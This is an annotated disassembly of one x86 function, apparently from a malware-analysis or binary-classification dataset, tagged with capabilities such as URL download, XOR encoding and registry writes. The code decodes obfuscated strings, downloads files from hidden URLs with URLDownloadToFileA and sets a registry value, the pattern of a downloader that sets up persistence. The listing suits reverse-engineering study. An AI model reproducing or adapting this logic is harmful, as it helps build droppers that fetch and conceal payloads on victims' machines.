Function at 0x1003b6c0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Move file
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x101e6ed4], 1
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x4c], edi
jne 0x1003c0c1
cmp dword [0x101e6ec8], 0
jne 0x1003c0c1
mov edx, 0x75
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100d119c]
xor al, dl
mov byte [ebp + ecx - 0x44], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x1003b700
lea eax, [ebp - 0x44]
mov byte [ebp - 0x38], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esi, 0x100d119c
test eax, eax
je 0x1003b747
lea eax, [esi - 0x54167d4b]
push eax
lea ecx, [ebp - 0x44]
call fcn.1003da30
push eax
call fcn.1009e0a0
add esp, 4
mov eax, dword [edi + 0x2c]
mov dword [0x101e6ecc], eax
test eax, eax
jne 0x1003b7e9
cmp byte [0x101e70b5], al
je 0x1003b7e9
push 0xff
push 0x30
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0xffe8c88b
mov ecx, 0x400000
mov dword [ebp - 0x30], 0xe8ffffff
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0xffffffe8
mov dword [ebp - 0x24], 0xffffe8ff
mov dword [ebp - 0x20], 0xffe8ffff
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], 0xffffffe8
mov dword [ebp - 0x10], 0xffffe8ff
mov dword [ebp - 0xc], 0x1b0ffff
mov dword [ebp - 8], 0xc35de58b
call fcn.10086180
add esp, 8
test eax, eax
je 0x1003b7e4
cmp byte [eax + 0x1b], 0xeb
je 0x1003b7e9
mov dword [0x101e6ecc], 1
jmp 0x1003b7e9
call fcn.10086fa0
cmp byte [0x101e6ed4], 1
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jne 0x1003b92d
cmp byte [0x101e70b5], 1
jne 0x1003b92d
cmp byte [0x10232bbc], 0
jne 0x1003b92d
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.y_bdaefxck]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1003b820
lea eax, [ebp - 0x14]
mov byte [ebp - 7], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003b92d
push 0x1a210bb2
lea ecx, [ebp - 0x44]
call fcn.1003da70
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
sete al
test al, al
je 0x1003b89b
mov eax, 0x100d11cc
lea ecx, [ebp - 0x40]
sub eax, 0x6958a1a1
push eax
call fcn.1003dab0
mov edx, 0x44
push eax
lea ecx, [edx - 0x3e]
call fcn.1003e5c0
add esp, 4
jmp 0x1003b92d
lea eax, [esi - 0x54167d4b]
push eax
lea ecx, [ebp - 0x14]
call fcn.1003da30
mov edi, str.nelh_lef
lea ecx, [ebp - 0x40]
sub edi, 0x68f4b623
mov esi, eax
push edi
call fcn.1003db20
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003db20
mov esi, eax
xor edx, edx
mov eax, 0xc0
nop dword [eax]
mov cl, byte [edx + 0x100d11e4]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2b
jb 0x1003b8e0
push 0
push 0
push esi
lea eax, [ebp - 0x30]
mov byte [ebp - 5], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1003b91b
push 0
call ebx
push eax
call 0x10086310
push 0
call ebx
push eax
call 0x10086310
mov edi, dword [ebp - 0x4c]
mov esi, 0x100d119c
mov eax, dword [edi + 0x28]
cmp eax, 2
jl 0x1003c0b6
cmp eax, 4
jl 0x1003ba39
mov word [ebp - 0x3c], 0x6425
mov byte [ebp - 0x3a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x101e6ea4
call fcn.1003a9e0
sub esp, 0xc
mov ecx, esp
push 0x101e6ea4
call fcn.1003d3d0
lea ecx, [ebp - 0x1c]
call fcn.10086ed0
mov ecx, esp
mov word [ebp - 0x3c], 0x7325
mov byte [ebp - 0x3a], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x3c]
push eax
push 0x101e6ea4
movq qword [ecx + 0x10], xmm0
call fcn.1003a9e0
add esp, 0x20
lea ecx, [ebp - 0x1c]
xor eax, eax
mov word [ebp - 0x3c], ax
mov byte [ebp - 0x3a], al
call fcn.1003ad50
mov edx, 5
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.Fiieg__oauNWqfcwi]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x1003b9c0
lea eax, [ebp - 0x48]
mov byte [ebp - 7], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1c]
push eax
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003ba39
mov eax, 0x100d122c
mov byte [0x101e6e9d], 1
sub eax, 0x1ad6c44e
lea ecx, [ebp - 0x40]
push eax
call fcn.1003dbc0
push 0x20
push 0x101e6ea4
push 1
push 0
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [0x101e6e9d], 0
cmp byte [0x101e70b5], 1
jne 0x1003ba84
mov eax, dword [edi + 0x28]
cmp eax, 3
jl 0x1003ba84
cmp eax, 4
jg 0x1003ba84
mov word [0x101e732e], 0x101
mov byte [0x101e7304], 1
mov dword [0x101e7310], 0x5f
mov dword [0x101e7308], 0xb
mov byte [0x101e7314], 1
mov dword [0x101e7318], 0xb
cmp byte [0x101e6ed4], 1
jne 0x1003c0b6
cmp byte [0x101e70b5], 1
jne 0x1003bf79
cmp byte [0x10232bbc], 0
jne 0x1003bf79
cmp dword [0xe611b2], 0
je 0x1003bf65
mov edx, 0x59
xor ecx, ecx
nop
mov al, byte [ecx + str.hnunokqRTQMPP]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1003bac0
lea eax, [ebp - 0x14]
mov byte [ebp - 7], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003bbef
mov ebx, 0x100d1244
lea ecx, [ebp - 0x3c]
sub ebx, 0x7e2d56a0
push ebx
call fcn.1003dc20
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x1003bbc5
lea eax, [esi - 0x54167d4b]
push eax
lea ecx, [ebp - 0x14]
call fcn.1003da30
mov edi, str.nelh_lef
lea ecx, [ebp - 0x40]
sub edi, 0x68f4b623
mov esi, eax
push edi
call fcn.1003db20
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003db20
mov esi, eax
xor edx, edx
mov eax, 0x95
nop
mov cl, byte [edx + 0x100d1248]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2b
jb 0x1003bb60
push 0
push 0
push esi
lea eax, [ebp - 0x30]
mov byte [ebp - 5], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1003bba1
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call esi
push eax
call 0x10086310
push ebx
lea ecx, [ebp - 0x3c]
call fcn.1003dc20
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call ebx
push eax
call 0x10086310
jmp 0x1003bbef
mov eax, 0x100d1274
lea ecx, [ebp - 0x44]
sub eax, 0x1e3734b4
push eax
call fcn.1003dc50
mov edx, 0xe
push eax
lea ecx, [edx - 1]
call fcn.1003e5c0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 4
mov edx, 0x13
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.______7__3]
xor al, dl
mov byte [ebp + ecx - 0x44], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x1003bc00
lea eax, [ebp - 0x44]
mov byte [ebp - 0x38], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003bd07
mov eax, str.__7j3
lea ecx, [ebp - 0x44]
sub eax, 0x367d8836
push eax
call fcn.1003dce0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
test eax, eax
sete al
test al, al
je 0x1003bc7d
push 0x3ef6373c
lea ecx, [ebp - 0x44]
call fcn.1003dd60
mov edx, 0x39
push eax
lea ecx, [edx + 0x58]
call fcn.1003e5c0
add esp, 4
jmp 0x1003bd0d
mov eax, 0x100d119c
lea ecx, [ebp - 0x14]
sub eax, 0x54167d4b
push eax
call fcn.1003da30
mov edi, str.nelh_lef
lea ecx, [ebp - 0x40]
sub edi, 0x68f4b623
mov esi, eax
push edi
call fcn.1003db20
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003db20
mov esi, eax
xor edx, edx
mov eax, 0x42
mov cl, byte [edx + str.705hgxzxb]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2a
jb 0x1003bcc2
push 0
push 0
push esi
lea eax, [ebp - 0x30]
mov byte [ebp - 6], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1003bcfd
push 0
call ebx
push eax
call 0x10086310
push 0
call ebx
push eax
call 0x10086310
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0xd3
xor ecx, ecx
mov al, byte [ecx + 0x100d12d4]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1003bd14
lea eax, [ebp - 0x14]
mov byte [ebp - 7], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
mov edx, 0xfa
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100d12e4]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1003bd50
lea eax, [ebp - 0x14]
mov byte [ebp - 7], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003be57
mov eax, 0x100d12f4
lea ecx, [ebp - 0x44]
sub eax, 0x59e1dfb6
push eax
call fcn.1003ddf0
push eax
call esi
test eax, eax
sete al
test al, al
je 0x1003bdcd
mov eax, str.LUQGQoMSIO
lea ecx, [ebp - 0x44]
sub eax, 0x17f877de
push eax
call fcn.1003de70
mov edx, 0x42
push eax
lea ecx, [edx - 0x21]
call fcn.1003e5c0
add esp, 4
jmp 0x1003be57
mov eax, 0x100d119c
lea ecx, [ebp - 0x14]
sub eax, 0x54167d4b
push eax
call fcn.1003da30
mov edi, 0x100d130c
lea ecx, [ebp - 0x40]
sub edi, 0x75a8b375
mov esi, eax
push edi
call fcn.1003df00
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003df00
mov esi, eax
xor edx, edx
mov eax, 0xfe
mov cl, byte [edx + 0x100d1318]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2b
jb 0x1003be12
push 0
push 0
push esi
lea eax, [ebp - 0x30]
mov byte [ebp - 5], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1003be4d
push 0
call ebx
push eax
call 0x10086310
push 0
call ebx
push eax
call 0x10086310
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.77_8______]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x1003be60
lea eax, [ebp - 0x14]
mov byte [ebp - 7], 0
push eax
push 0xe611b2
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003bf65
push 0x1a210bb2
lea ecx, [ebp - 0x14]
call fcn.1003da70
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
sete al
test al, al
je 0x1003bedb
mov eax, 0x100d11cc
lea ecx, [ebp - 0x40]
sub eax, 0x6958a1a1
push eax
call fcn.1003dab0
mov edx, 0x44
push eax
lea ecx, [edx - 0x3e]
call fcn.1003e5c0
add esp, 4
jmp 0x1003bf65
mov eax, 0x100d119c
lea ecx, [ebp - 0x14]
sub eax, 0x54167d4b
push eax
call fcn.1003da30
mov edi, str.nelh_lef
lea ecx, [ebp - 0x40]
sub edi, 0x68f4b623
mov esi, eax
push edi
call fcn.1003db20
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003db20
mov esi, eax
xor edx, edx
mov eax, 0x87
mov cl, byte [edx + 0x100d1354]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2b
jb 0x1003bf20
push 0
push 0
push esi
lea eax, [ebp - 0x30]
mov byte [ebp - 5], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1003bf5b
push 0
call ebx
push eax
call 0x10086310
push 0
call ebx
push eax
call 0x10086310
cmp byte [0x101e6ed4], 1
mov byte [0x10232bbc], 1
jne 0x1003c0b6
cmp byte [0x101e70b6], 1
jne 0x1003c0b6
cmp byte [0x10232bbc], 0
jne 0x1003c0b6
cmp dword [0x558ed8], 0
je 0x1003c0af
mov edx, 0x10
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str._____8___4__]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x1003bfb0
lea eax, [ebp - 0x14]
mov byte [ebp - 6], 0
push eax
push 0x558ed8
call fcn.1008ffe0
add esp, 8
test eax, eax
je 0x1003c0af
mov ebx, 0x100d1244
lea ecx, [ebp - 0x3c]
sub ebx, 0x7e2d56a0
push ebx
call fcn.1003dc20
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x1003c0af
mov eax, 0x100d119c
lea ecx, [ebp - 0x14]
sub eax, 0x54167d4b
push eax
call fcn.1003da30
mov edi, str.nelh_lef
lea ecx, [ebp - 0x40]
sub edi, 0x68f4b623
mov esi, eax
push edi
call fcn.1003db20
push esi
push eax
call fcn.1009e0ed
add esp, 8
lea ecx, [ebp - 0x40]
push edi
call fcn.1003db20
mov esi, eax
xor edx, edx
mov eax, 0xc6
mov cl, byte [edx + 0x100d1390]
xor cl, al
mov byte [ebp + edx - 0x34], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2c
jb 0x1003c052
push 0
push 0
push esi
lea eax, [ebp - 0x34]
mov byte [ebp - 8], 0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
jns 0x1003c093
push 0
call esi
push eax
call 0x10086310
push ebx
lea ecx, [ebp - 0x3c]
call fcn.1003dc20
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call esi
push eax
call 0x10086310
mov byte [0x10232bbc], 1
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x28]
mov dword [0x101e6ec8], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret